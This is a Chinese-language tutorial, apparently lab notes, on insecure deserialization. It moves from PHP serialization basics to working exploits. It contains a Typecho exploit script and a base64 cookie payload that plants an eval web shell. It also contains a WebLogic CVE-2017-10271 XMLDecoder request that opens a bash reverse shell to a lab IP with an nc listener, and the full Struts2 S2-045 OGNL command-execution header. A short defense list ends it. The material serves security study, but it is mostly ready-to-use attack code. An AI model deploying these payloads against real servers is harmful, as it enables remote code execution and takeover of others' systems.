不安全的反序列化
1. 序列化与反序列化
A8:2017-不安全的反序列化
A08:2021-Software and Data Integrity Failures
为什么要序列化?
序列化,将对象的状态信息转换为可以存储或传输的形式的过程,这种形式大多为字节流、字符串、json 串。在序列化期间内,将对象当前状态写入到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重新创建该对象。简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台安全的进行通信。
序列化就是解决对象传输的问题
对象:类(抽象的,定义): 学生类属性: 姓名,性别,年龄,成绩方法: 学习,运动,吃饭,睡觉对象就是指具体哪个学生(具体的,真实存在的) ,对象是非线性的,不能做流式传输。 传输:流式传输:一个字节一个字节传输字符串,json,xml
对象–>序列化–>字符串、json–>反序列化–>对象
攻击者可以通过反序列化的过程,在还原对象的过程中完整恶意的攻击
1.1 引例
以PHP 语言为例
JSON 数据是数据的一种表达形式,与Python里的字典类似。
// json.php$stu = array(
'name' => 'AJEST', 'age' => 18,
'sex' => true, 'score' => 89.9
);// echo $stu;
// var_dump($stu);$stu_json = json_encode($stu); echo $stu_json;echo "<hr />";$stu_json = isset($_GET['stu'])?$_GET['stu']:$stu_json;
$stu = json_decode($stu_json); var_dump($stu);
验证:
?stu={"name":"ajest","age":19,"sex":true,"score":89.9}
在www目录下新建unserialize文件夹,在文件夹下新建json.php文件,将上述代码复制进json.php中
因为stu的内容是数组非线性的,使用echo是无法输出$stu的内容的,因为echo只能输出字符串(线性的);使用var_dump可以强制转换字符串输出;如果stu无法输出那就无法存储和传输,要想存储和传输的话就要进行json_encode编码
显示的内容是json格式的数据,json格式的数据能使用echo输出,那就证明能够存储和传输;要想将json格式的数据还原成数组只要做json_decode就能还原成数组
重新还原成数组就可以在程序中使用了。
将数组转换成json格式的数据是为了能够传输,将json格式的数据转换回数组是为了能够使用。
1.2 序列化实例
1.2.1 定义一个类
// stu.class.phpclass Stu{public $name; public $age; public $sex; public $score;
}
在unserialize文件夹下新建一个stu.class.php文件,将上述代码复制进去。
class(关键字:类),stu是类名
1.2.2 创建对象
创建一个对象,并对该对象进行序列化操作,将对象转化为可以存储、传输的字符串。
// serialize.phpinclude "./stu.class.php";//include:包含,将stu.class.php的内容作为它的一部分$stu1 = new Stu();//以stu这个类作为模板新建一个对象stu1$stu1 -> name = "AJEST";//对stu这个对象做初始化$stu1.name
$stu1 -> age = 24;
$stu1 -> sex = true;
$stu1 -> score = 99.9;// echo $stu1;//无法输出,因为一个类的对象不能转换成字符串
// var_dump($stu1);//强制转换为字符串$_stu1 = serialize($stu1); //将对象做序列化
echo $_stu1;//做完序列化在输出
在www下新建serialize.php文件,将上述代码复制进serialize.php中
序列化后的字符串:
O:3:"Stu":4:{s:4:"name";s:5:"AJEST";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.900000000000006;}
解释:
s:4:“name”;s:5:“AJEST”;是一个键值对
s:3:“age”;i:24;是一个键值对
s:3:“sex”;b:1;是一个键值对
s:5:“score”;d:99.900000000000006;是一个键值对
O:序列化后的对象object
3:类名的长度,类有几个字符
stu:类的名字
4:有四个变量
s:string(字符串)
4:name的长度是4
s:string(字符串)
5:AJEST的长度是5
s:string(字符串)
3:age的长度是3
i:int
24:age的值
s:string(字符串)
3:age的长度是3
b:bool(布尔)
1:布尔值
s:string(字符串)
5:score的长度是5
d:double
99.900000000000006:score的值
1.2.3 反序列化
将字符串转化为对象。
// unserialize.phpinclude "./stu.class.php";$stu1_ser = 'O:3:"Stu":4:{s:4:"name";s:5:"AJEST";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.900000000000006;}';$stu1_obj = unserialize($stu1_ser); var_dump($stu1_obj);
在www下新建unserialize.php文件,将上述代码复制进unserialize.php文件中
1.2.4 对象注入
如果反序列化字符串,Web 用户可以控制,则造成对象注入。
// $stu1_seria = 'O:3:"Stu":4: {s:4:"name";s:5:"AJEST";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.900000000000006;}';
$stu1_ser = $_GET['stu1_ser'];
http://127.0.0.1/unserialize/unserialize.php?stu1_ser=O:3:"Stu":4:{s:4:"name";s:5:"AJEST";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.900000000000006;}
PHP 的反序列化漏洞也叫PHP 对象注入,是一个非常常见的漏洞,这种漏洞在某些场景下虽然有些难以利用,但是一旦利用成功就会造成非常危险的后果
2. 漏洞何在
2.1 漏洞触发
2.1.1 有一个类
// vul.class.phpclass Vul{
public $str = "AJEST";function __destruct(){
//echo "This is function __destruct()";
@eval($this -> str);//eval,危险语句,将字符串当作PHP代码执行}
}
在www下新建vul.class.php文件,将上述代码复制进vul.class.php文件中
2.1.2 有一个对象
// test.phpinclude './vul.class.php';$s = new Vul(); //从vul这个类中创建一个对象$s
echo serialize($s); //对$s进行序列化操作后输出
echo "<hr />";$_s = $_GET['s_ser'];//通过get方式得到s_ser参数
$s = unserialize($_s);//将$_S的值进行反序列化
var_dump($s);//将反序列化的内容输出
在www下新建test.php文件,将上述代码复制进test.php文件中
序列化后:
O:3:"Vul":1:{s:3:"str";s:5:"AJEST";}
2.1.3 反序列化执行代码
?s_ser=O:3:"Vul":1:{s:3:"str";s:10:"phpinfo();";}
2.2 为什么会这样
__destruct(),会被对象自动调用。
以 __ 开头的函数,是PHP 中的魔术方法。类中的魔术方法,在特定情况下会自动调用。即使魔术方法在类中没有被定义,也是真实存在的。
魔术方法 | 触发条件 |
---|---|
__construct() | 在创建对象时自动调用,构造函数 |
__destruct() | 在销毁对象时自动调用,析构函数 |
__call();
__callStatic();
__get();
__set();
__isset();
__unset();
__sleep();
__wakeup(); 创建对象之前触发
__toString();
__invoke();
__set_state();
__clone();
__debuginfo();
因为__destruct()
:在销毁对象时自动调用,并且脚本执行完后要销毁,所以 __destruct()
执行了
销毁的两个对象分别是在调用vul类时创建的对象和进行反序列化还原的对象
漏洞形成的根本原因:
程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、GetShell 等一系列不可控的后果。反序列化漏洞并不是PHP 特有的,也存在于Java、Python 语言中,其原理基本相同。
3. 反序列化漏洞攻防
3.1 PHP 反序列化实例
typecho 反序列化漏洞
3.1.1 环境搭建
3.1.2 实操
危险函数:call_user_func(回调函数),assert(将字符串当作php代码执行)
call_user_func('assert',"phpinfo()");
这句函数相当于
assert(phpinfo());
使用call_user_func(回调函数)可以构造一句话木马
typecho 反序列化漏洞此文章中提到typecho中有魔术方法,并且含有call_user_func(回调函数),并且typecho反序列化漏洞使用了对象注入
如果构造的序列化后的语句中的类注入对象中没有那么就会还原成一个不知道是什么的类
利用漏洞利用脚本
<?php
class Typecho_Feed{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);}
}class Typecho_Request{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'phpinfo()';$this->_filter[0] = 'assert';//有危险函数}
}$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_'
);echo base64_encode(serialize($exp));
?>
将上述代码复制到www目录下的typecho_1.0(14.10.10)_unserialize_phpinfo.php文件中,执行typecho_1.0(14.10.10)_unserialize_phpinfo.php获得经过base64编码的序列化的字符串,构造的这个字符串中的类一定是typecho中存在的类的名字,否则序列化字符串在注入的时候会注入不进去
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
typecho的漏洞点是install.php页面,通过finish参数传递
文章中使用GET方式提交的,也可以使用POST方式提交,提交的内容通过__typecho_config传递
3.1.3 GETshell
使用bp抓包,将数据包发送重发器,修改cookie
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mzp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjA6ImZpbGVfcHV0X2NvbnRlbnRzKCdTaGVsbC5waHAnLCc8P3BocCBAZXZhbCgkX1BPU1RbNjY2XSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX1zOjEwOiJkYXRlRm9ybWF0IjtOO31zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==
点击发送
使用蚁剑进行连接
3.2 Java 反序列化实例
Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞
S2-045 Remote Code Execution Vulnerablity
JBoss 5.x/6.x 反序列化漏洞
fastjson 1.2.24 反序列化导致任意命令执⾏漏洞
Fastjson 1.2.47 远程命令执⾏漏洞
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)
3.2.1 Weblogic
3.2.1.1 环境搭建
进入漏洞库启动环境
3.2.1.2 过程
访问本机地址的7001端口的/console页面
漏洞扫描工具:nacs和weblogicScan
使用nacs工具扫描IP和端口
使用weblogicScan工具扫描
复现2017-10271,访问wls-wsat/CoordinatorPortType页面
使用bp抓包,发送重发器
将数据包改为POST请求
将漏洞利用代码复制到POST请求数据包中,漏洞利用代码是输入一个周期性计划任务,通过21端口获得反弹shell
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.16.176/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
还是报错,因为提交的代码是xml语言格式的
修改POST数据包
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.16.176:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ADMINCONSOLESESSION=qZfqk3sDhfVMkMlb3LMJpxzDJxgBrDwNqFCyGFZh339bGMLY0G1r!-169694376
Connection: close
Content-Type: text/xml
Content-Length: 631<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.16.176/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
使用瑞士军刀扫描21端口
nc -lnvp 21
3.2.2 S2
3.2.2.1 环境搭建
因为8080端口被bp占用,修改端口
3.2.2.2 过程
使用nacs扫描
访问本机IP908端口,使用bp抓包发送重发器,改为POST请求,并将漏洞利用代码复制到数据包中
漏洞利用:S2-045、S2-046 - 京亟QAQ - 博客园 (cnblogs.com)
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
修改POST数据包,并点击发送
获得回显,修改whoami,相当于获得一个shell
3.3 反序列化漏洞防御
-
升级组件到最新版本
-
黑白名单过滤敏感字符
-
禁用反序列化功能